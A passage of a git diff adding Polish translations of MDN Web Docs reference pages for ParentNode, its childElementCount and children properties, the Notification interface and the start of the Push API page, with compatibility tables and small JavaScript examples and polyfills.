<dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>The <code>NavigatorPlugins</code></em><em> interface doesn't inherit any method.</em></p> + +<dl> + <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The {{domxref("Navigator")}} interface that implements it.</li> +</ul> diff --git a/files/pl/web/api/parentnode/childelementcount/index.html b/files/pl/web/api/parentnode/childelementcount/index.html new file mode 100644 index 0000000000..f3bbff6554 --- /dev/null +++ b/files/pl/web/api/parentnode/childelementcount/index.html @@ -0,0 +1,93 @@ +--- +title: ParentNode.childElementCount +slug: Web/API/ParentNode/childElementCount +translation_of: Web/API/ParentNode/childElementCount +--- +<div>{{ APIRef("DOM") }}</div> + +<p><code><strong>ParentNode.childElementCount</strong></code> jest właściwością tylko do odczytu zwraca ona liczbę o typie <code>unsigned long</code>, która zwraca ilość elementów dzieci w elemencie rodzicu.</p> + +<div class="note"> +<p>Ta właściwość została początkowo zdefiniowana w interfejsie {{domxref("ElementTraversal")}}. Interfejs ten {{domxref("Node")}}, posiadał 2 różne zestawy właściwości - te, które mają elementy dzieci i te elementy, które są dziećmi. Dzieci zostały przeniesione do interfejsu {{domxref("ChildNode")}}, a rodzice do {{domxref("ParentNode")}}. Jest to zmiana techniczna, która nie powinna mieć wpływu na kompatybilność.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">var <var>liczbaDzieci</var> = <em>node</em>.childElementCount; +</pre> + +<dl> + <dt><code>liczbaDzieci</code></dt> + <dd>Wartość która zostanie zwrócona o typie <code>unsigned long</code> (maksymalnie 64 bitowa liczba całkowita dodatnia).</dd> + <dt><code>node</code></dt> + <dd>Objekt reprezentowany przez {{domxref("Document")}}, {{domxref("DocumentFragment")}}, lub {{domxref("Element")}}.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush:js">var elementRodzic = document.getElementById('tata'); +if (elementRodzic.childElementCount > 0) { + // Zrób coś +} +</pre> + +<h2 id="Łatka_dla_IE8_IE9_Safari">Łatka dla IE8 & IE9 & Safari</h2> + +<p>Ta właściwość jest niewspierana na przeglądarkach IE9 i poniżej oraz Safari, jest niewspierana dla obiektów <code>Document</code> i <code>DocumentFragment</code>.</p> + +<pre class="brush:js">;(function(constructor) { + if (constructor && + constructor.prototype && + constructor.prototype.childElementCount == null) { + Object.defineProperty(constructor.prototype, 'childElementCount', { + get: function() { + var i = 0, dzieci = 0, wezel, iloscElementow = this.childNodes; + while (wezel = iloscElementow[i++]) { + if (wezel.nodeType === 1) dzieci++; + } + return dzieci; + } + }); + } +})(window.Node || window.Element); +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Dzieli interfejs <code>ElementTraversal</code> na {{domxref("ChildNode")}} i <code>ParentNode</code>. Obecna właściwość jest zdefinionawa w tym drugim.<br> + {{domxref("Document")}} i {{domxref("DocumentFragment")}} zaimlementowały już nowe interfejsy.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td> + <p>Na chwilę obecną dodano wstępną definicje do interfejsu <code>ElementTraversal</code> i wykorzystywana jest ona w klasie {{domxref("Element")}}.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("api.ParentNode.childElementCount")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Interfejs {{domxref("ParentNode")}} i {{domxref("ChildNode")}}.</li> + <li> + <div class="syntaxbox">Obiekty które wykorzystują powyższe interfejsy: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div> + </li> +</ul> diff --git a/files/pl/web/api/parentnode/children/index.html b/files/pl/web/api/parentnode/children/index.html new file mode 100644 index 0000000000..1d8576d64b --- /dev/null +++ b/files/pl/web/api/parentnode/children/index.html @@ -0,0 +1,96 @@ +--- +title: ParentNode.children +slug: Web/API/ParentNode/children +tags: + - API + - Dzieci + - Dziecko + - Kolekcja HTML + - Potomek + - Potomkowie + - Właściwość + - węzeł +translation_of: Web/API/ParentNode/children +--- +<div>{{ APIRef("DOM") }}</div> + +<p><span class="seoSummary">The {{domxref("ParentNode")}} właściwość <code><strong>children</strong></code> jest właściwością tylko do odczytu (read-only) która zwraca aktualną kolekcję {{domxref("HTMLCollection")}} zawierającą wszystkie elementy podrzędne {{domxref("Element", "elements")}} węzła, na którym został wywołany.</span></p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">let <var>children</var> = <var>node</var>.children;</pre> + +<h3 id="Value">Value</h3> + +<p>{{ domxref("HTMLCollection") }} aktualna, uporządkowana kolekcja elementów DOM które są potomkami <code><var>node</var></code>. Możesz otrzymać pojedynczych potomków kolekcji używając albo {{domxref("HTMLCollection.item()", "item()")}} metody na kolekcji, albo używając notacji w stylu tablicowym języka JavaScript.</p> + +<p>Jeżeli element node nie ma potomków, wtedy <code>children</code> jest pustą listą o długości 0 (<code>length</code> of <code>0)</code>.</p> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: js notranslate">const foo = document.getElementById('foo'); +for (let i = 0; i < foo.children.length; i++) { + console.log(foo.children[i].tagName); +} +</pre> + +<h2 id="Uzupełnienie">Uzupełnienie</h2> + +<pre class="brush: js notranslate">// Nadpisuje natywny prototyp 'children'. +// Dodaje Document & DocumentFragment wsparcie dla IE9 & Safari. +// Zwraca tablicę zamiast HTMLCollection. +;(function(constructor) { + if (constructor && + constructor.prototype && + constructor.prototype.children == null) { + Object.defineProperty(constructor.prototype, 'children', { + get: function() { + let i = 0, node, nodes = this.childNodes, children = []; + while (node = nodes[i++]) { + if (node.nodeType === 1) { + children.push(node); + } + } + return children; + } + }); + } +})(window.Node || window.Element); +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Wstępna definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div class="hidden">Tablica zgodności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz przyczynić się do do tych danych, proszę sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam swoją propozycję (a pull request).</div> + +<p>{{Compat("api.ParentNode.children")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Interfejsy {{domxref("ParentNode")}} {{domxref("ChildNode")}}.</li> + <li> + <div class="syntaxbox">Typy obiektów implementujące ten interfejs: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div> + </li> + <li> + <div class="syntaxbox">{{domxref("Node.childNodes")}}</div> + </li> +</ul> diff --git a/files/pl/web/api/parentnode/index.html b/files/pl/web/api/parentnode/index.html new file mode 100644 index 0000000000..2cbf79f11c --- /dev/null +++ b/files/pl/web/api/parentnode/index.html @@ -0,0 +1,90 @@ +--- +title: ParentNode +slug: Web/API/ParentNode +tags: + - API + - DOM + - Finding Elements + - Finding Nodes + - Interface + - Locating Elements + - Locating Nodes + - Managing Elements + - Managing Nodes + - Mixin + - NeedsTranslation + - Node + - ParentNode + - Reference + - Selectors + - TopicStub +translation_of: Web/API/ParentNode +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">The <code><strong>ParentNode</strong></code> mixin contains methods and properties that are common to all types of {{domxref("Node")}} objects that can have children.</span> It's implemented by {{domxref("Element")}}, {{domxref("Document")}}, and {{domxref("DocumentFragment")}} objects.</p> + +<p>See <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> to learn how to use <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a> to find nodes or elements of interest.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt> + <dd>Returns the number of children of this <code>ParentNode</code> which are elements.</dd> + <dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt> + <dd>Returns a live {{domxref("HTMLCollection")}} containing all of the {{domxref("Element")}} objects that are children of this <code>ParentNode</code>, omitting all of its non-element nodes.</dd> + <dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt> + <dd>Returns the first node which is both a child of this <code>ParentNode</code> <em>and</em> is also an <code>Element</code>, or <code>null</code> if there is none.</dd> + <dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt> + <dd>Returns the last node which is both a child of this <code>ParentNode</code> <em>and</em> is an <code>Element</code>, or <code>null</code> if there is none.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt> + <dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects after the last child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd> + <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt> + <dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects before the first child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd> + <dt>{{domxref("ParentNode.querySelector()")}}</dt> + <dd>Returns the first {{domxref("Element")}} with the current element as root that matches the specified group of selectors.</dd> + <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt> + <dd>Returns a {{domxref("NodeList")}} representing a list of elements with the current element as root that matches the specified group of selectors.</dd> +</dl> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.ParentNode")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The {{domxref("ChildNode")}} pure interface.</li> + <li> + <div class="syntaxbox">Object types implementing this mixin: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div> + </li> +</ul> diff --git a/files/pl/web/api/powiadomienie/index.html b/files/pl/web/api/powiadomienie/index.html new file mode 100644 index 0000000000..e314c36a3a --- /dev/null +++ b/files/pl/web/api/powiadomienie/index.html @@ -0,0 +1,348 @@ +--- +title: Powiadomienie +slug: Web/API/powiadomienie +tags: + - API + - JS Powiadomienia + - Powiadomienia + - Powiadomienie +translation_of: Web/API/Notification +--- +<p>{{APIRef("Web Notifications")}}</p> + +<p>Interfejs Powiadomień {{domxref('Notifications_API','Notifications API')}} jest używany do konfigurowania i wyświetlania powiadomień komputerowych do użytkownika .</p> + +<p>{{AvailableInWorkers}}</p> + +<h2 id="Konstruktor">Konstruktor</h2> + +<dl> + <dt>{{domxref("Notification.Notification()")}}</dt> + <dd>Tworzy nową instancję obiektu {{domxref('Notification')}} .</dd> +</dl> + +<h2 id="Cechy">Cechy</h2> + +<h3 id="Statyczne_Cechy">Statyczne Cechy</h3> + +<p>Te Cechy są dostępne tylko dla obiektu powiadomienia.</p> + +<dl> + <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt> + <dd>Linia reprezentująca obecne uprawnienia do wyświetlania powiadomień.Możliwe Wartośći to:denied(Użytkownik odmawia do wyświetlania powiadomień), granted(Użytkownik zaakceptował wyświetlanie powiadomień),albo default(Wybór użytkownika jest nieznany i dlatego przeglądarka zachowuje się jak przy odmowie).</dd> +</dl> + +<h3 id="Cechy_Instancji">Cechy Instancji</h3> + +<p>Te Cechy są dostępne tylko dla obiektu powiadomień.</p> + +<dl> + <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt> + <dd>Tytuł powiadomienia jak określone w opcjach parametru konstruktora.</dd> + <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt> + <dd>Kierunek tekstu powiadomienia jak określone w opcjach parametru konstruktora.</dd> + <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt> + <dd>Język kodu powiadomienia jak określone w opcjach parametru konstruktora.</dd> + <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt> + <dd>Tekst powiadomienia jak określone w opcjach parametru konstruktora.</dd> + <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt> + <dd>ID powiadomienia (jeżeli jakiekolwiek) jak określone w opcjach parametru konstruktora.</dd> + <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt> + <dd>Url obrazku użytego w powiadomieniu jak określone w opcjach parametru konstruktora.</dd> + <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt> + <dd>Zwraca klon struktury daty powiadomienia.</dd> + <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt> + <dd>Opisuje czy powiadomienie powinno być ciche,takie jak bez dźwięku czy wbiracji bez względu na ustawienia urządzenia.</dd> +</dl> + +<h4 id="Nie_wspierane_cechy">Nie wspierane cechy</h4> + +<p>Pokazane Cechy są najbardziej aktualną ze specyfikacją, ale nie są wspierane narazie przez żadną przeglądarkę.Wskazane jest aby sprawdzać regularnie czy status się zaktualizował , i daj nam znać jeżeli znajdziesz nie aktualne informacje.</p> + +<dl> + <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt> + <dd>Określa, czy należy włączyć powiadomienia na ekranie urządzenia, czy też nie.</dd> + <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt> + <dd>Określa, czy użytkownik powinien być powiadamiany po nowym powiadomieniu i zastąpić stare powiadomienie.</dd> + <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt> + <dd>Określa dźwięk do odtworzenia wraz z powiadomieniem,za miejscę podstawowego powiadomienia systemowego.</dd> + <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt> + <dd>Określa czy powiadomienie powinno być trudniejsze do usunięcia przez użytkownika, klejące 'sticky'.</dd> + <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt> + <dd>Określa wibrację urządzenia do emisji przez urządzenie.</dd> +</dl> + +<h4 id="Obsługa_zdarzeń">Obsługa zdarzeń</h4> + +<dl> + <dt>{{domxref("Notification.onclick")}}</dt> + <dd>Obsługa dla zdarzenia {{event("click")}}.Odpalane przy każdym kliknięciu powiadomienia.</dd> + <dt>{{domxref("Notification.onerror")}}</dt> + <dd>Obsługa dla zdarzenia {{event("error")}}.Odpalane przy każdym razie kiedy powiadomienie będzie napotykało błąd.</dd> +</dl> + +<h4 id="Przestarzała_obsługa">Przestarzała obsługa</h4> + +<p>Pokazana obsługa zdarzeń jest nadal wspierana w sekcji poniższej {{anch("browser compatibility")}},ale nie pokazane w obecnej specyfikacji. I w związku z tym, aby bezpiecznie założyć, że są przestarzałe mogą przestać działać w przyszłych wersjach przeglądarek.</p> + +<dl> + <dt>{{domxref("Notification.onclose")}}</dt> + <dd>Obsługa zdażenia {{event("close")}}. Zamyka powiadomienie.</dd> + <dt>{{domxref("Notification.onshow")}}</dt> + <dd>Obsługa zdażenia {{event("show")}}.Pokazuje gdy powiadomienie jest pokazywane.</dd> +</dl> + +<h2 id="Metoda">Metoda</h2> + +<h3 id="Statyczna_metoda">Statyczna metoda</h3> + +<p>Te metody są dostępne tylko dla obiektu powiadomień.</p> + +<dl> + <dt>{{domxref("Notification.requestPermission()")}}</dt> + <dd>Requests permission from the user to display notifications.</dd> +</dl> + +<h3 id="Metoda_instacji">Metoda instacji</h3> + +<p>Te cechy są dostępne tylko dla obiektu powiadomień albo to <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" name="prototyp"><code>prototype</code></a>. Obiekt powiadomień pobiera to z interfejsu {{domxref("EventTarget")}}.</p> + +<dl> + <dt>{{domxref("Notification.close()")}}</dt> + <dd>Programowo zamyka powiadomienie.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<p>W podstawowtym HTMLu:</p> + +<pre class="brush: html"><button onclick="notifyMe()">Pokaż Powiadomienie!</button></pre> + +<p>Jest to możliwe aby wysłać powiadomienie - tutaj pokazujemy jak łatwo i w kompletnym składzie kodu zobaczyć czy powiadomienia są wspierane,potem sprawdzić uprawnienia czy zostały nadane dla obecnego dźwięku powiadomień, potem sprawdź uprawnienia jeżeli potrzebne,przed wysłaniem powiadomienia. </p> + +<pre class="brush: js">function notifyMe() { + // Sprawdzamy czy przeglądarka obsługuje powiadomienia. + if (!("Notification" in window)) { + alert("Ta przeglądarka nie obsługuje powiadomień"); + } + + // Sprawdźmy czy uprawnienia dla powiadomienia zostały nadane + else if (Notification.permission === "granted") { + // jeżeli są tworzymy powiadomienie + var notification = new Notification("Hi there!"); + } + + // W innym przypadku tworzymy zapytanie o uprawnienia + else if (Notification.permission !== 'denied') { + Notification.requestPermission(function (permission) { + //Jeżeli użytkownik zaakceptuje tworzymy powiadomienie + if (permission === "granted") { + var notification = new Notification("Hi there!"); + } + }); + } + + // Na koniec, jeżeli użytkownik odmówił powiadomień i chcesz szanować go + // nie ma potrzeby dręczyć go zapytaniami +}</pre> + +<p>{{EmbedLiveSample('Przyk%C5%82ad', '100%', 30)}}</p> + +<p>W wielu przypadkach, nie potrzebujesz tworzyć nowych form. Dla przykładu, w naszym <a href="http://mdn.github.io/emogotchi/">Emogotchi demo</a> (<a href="https://github.com/mdn/emogotchi" name="Zobacz kod źródłowy">see source code</a>), Prosto odpalamy {{domxref("Notification.requestPermission")}} aby sprawdzać czy możemy dostać uprawnienia do wysyłania powiadomień: </p> + +<pre class="brush: js">Notification.requestPermission();</pre> + +<p>Potem odpalamy funkcje <code>spawnNotification()</code> kiedy chcemy odpalić powiadomienie — to jest przekazywane do argumentu opisanego tekstu,ikony i tytułu który chcemy, potem tworzy konieczne opcje obiektu i odpala powiadomienie używając konstruktora {{domxref("Notification.Notification","Notification()")}}.</p> + +<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) { + var options = { + body: theBody, + icon: theIcon + } + var n = new Notification(theTitle,options); +}</pre> + +<h2 id="Specifikacja">Specifikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Notifications')}}</td> + <td>{{Spec2('Web Notifications')}}</td> + <td>Living standard</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_Przeglądarek">Kompatybilność Przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Podstawowa usługa</td> + <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br> + 22</td> + <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br> + 22</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>6<sup>[3]</sup></td> + </tr> + <tr> + <td><code>ikona</code></td> + <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br> + 22</td> + <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br> + 22</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Available in workers</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("41.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>silent</code></td> + <td>{{CompatChrome(43.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td> + <p>{{CompatVersionUnknown}}</p> + </td> + <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br> + 22</td> + <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br> + 1.2</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td> + <p>{{CompatVersionUnknown}}</p> + </td> + </tr> + <tr> + <td><code>icon</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br> + 22</td> + <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br> + 1.2</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Available in workers</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("41.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>silent</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(43.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(43.0)}}</td> + </tr> + <tr> + <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p> + +<p>Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p> + +<p>Before Chrome 42, service worker additions were not supported.</p> + +<p>[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p> + +<p>Prior to Firefox 22 (Firefox OS <1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p> + +<p>Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.</p> + +<p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS <1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p> + +<p>When using notifications in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p> + +<p>[3] Safari zaczeło wspierać powiadomienia z wersją Safari 6,ale tylko od Mac OSX 10.8+(Mountain Lion).</p> + +<h2 id="Zobacz_Także">Zobacz Także</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API" lang="PL" name="Używanie API Powiadomień">Using the Notifications API</a></li> +</ul> diff --git a/files/pl/web/api/push_api/index.html b/files/pl/web/api/push_api/index.html new file mode 100644 index 0000000000..e889cb6c01 --- /dev/null +++ b/files/pl/web/api/push_api/index.html @@ -0,0 +1,167 @@ +--- +title: Push API +slug: Web/API/Push_API +translation_of: Web/API/Push_API +--- +<div>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</div> + +<p class="summary"><strong>Push API</strong> daje aplikacjom web możliwość odbierania wiadomości przesłanych z serwera, niezależnie do tego czy aplikacja pracuje w tle, lub jest wogóle załadowana w przeglądarce internetowej. To pozwala programistom dostarczać (asynchronicznie) powiadomienia i aktualizacje do użytkowników którzy zezwolili na przesyłanie notyfikacj, w efekcie mamy lepszą komunikację z użytkownikiem, którzy dostają nowe treści w odpowiednim czasie.th timely new content.</p> + +<h2 id="Pojęcia_i_stosowanie">Pojęcia i stosowanie</h2> + +<p>For an app to receive push messages, it has to have an active <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>. When the service worker is active, it can subscribe to push notifications, using {{domxref("PushManager.subscribe()")}}.</p> + +<p>The resulting {{domxref("PushSubscription")}} includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data.</p> + +<p>The service worker will be started as necessary to handle incoming push messages, which are delivered to the {{domxref("ServiceWorkerGlobalScope.onpush")}} event handler. This allows apps to react to push messages being received, for example, by displaying a notification (using {{domxref("ServiceWorkerRegistration.showNotification()")}}.)</p> + +<p>Each subscription is unique to a service worker. The endpoint for the subscription is a unique <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: knowledge of the endpoint is all that is necessary to send a message to your application. The endpoint URL therefore needs to be kept secret, or other applications might be able to send push messages to your application.</p> + +<p>Activating a service worker to deliver a push message can result in increased resource usage, particularly of the battery. Different browsers have different schemes 